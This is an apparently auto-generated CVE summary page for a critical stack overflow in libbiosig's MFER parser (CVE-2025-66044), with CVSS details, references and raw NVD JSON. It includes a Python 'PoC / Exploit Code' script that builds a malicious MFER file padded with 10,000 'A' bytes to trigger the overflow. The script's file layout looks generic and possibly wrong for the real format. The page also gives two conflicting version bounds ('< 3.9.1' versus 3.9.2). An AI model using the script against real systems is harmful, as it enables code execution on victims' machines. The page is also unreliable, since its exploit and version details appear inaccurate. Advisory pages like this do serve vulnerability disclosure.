CVE-2025-66044

Description

Several stack-based buffer overflow vulnerabilities exists in the MFER parsing functionality of The Biosig Project libbiosig 3.9.1. A specially crafted MFER file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger these vulnerabilities.When Tag is 64

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libbiosig_project:libbiosig:*:*:*:*:*:*:*:* - VULNERABLE

libbiosig < 3.9.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import struct

def create_malicious_mfer():
    # MFER文件头
    header = b'MFER'
    
    # Tag为64的记录，超长数据触发溢出
    tag = 64
    # 构造超过栈缓冲区大小的数据
    overflow_data = b'A' * 10000
    
    # 打包MFER记录
    record = struct.pack('<I', tag) + struct.pack('<I', len(overflow_data)) + overflow_data
    
    # 写入恶意文件
    with open('malicious.mfer', 'wb') as f:
        f.write(header + record)

if __name__ == '__main__':
    create_malicious_mfer()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66044
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66044
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66044/
[4] VulDB https://vuldb.com/cve/CVE-2025-66044
[5] https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296
[6] https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66044", "sourceIdentifier": "[email protected]", "published": "2025-12-11T17:15:58.397", "lastModified": "2025-12-17T20:24:22.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Several stack-based buffer overflow vulnerabilities exists in the MFER parsing functionality of The Biosig Project libbiosig 3.9.1. A specially crafted MFER file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger these vulnerabilities.When Tag is 64"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libbiosig_project:libbiosig:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9.2", "matchCriteriaId": "2D3CD139-6F71-4B97-95A3-A52466FF6563"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}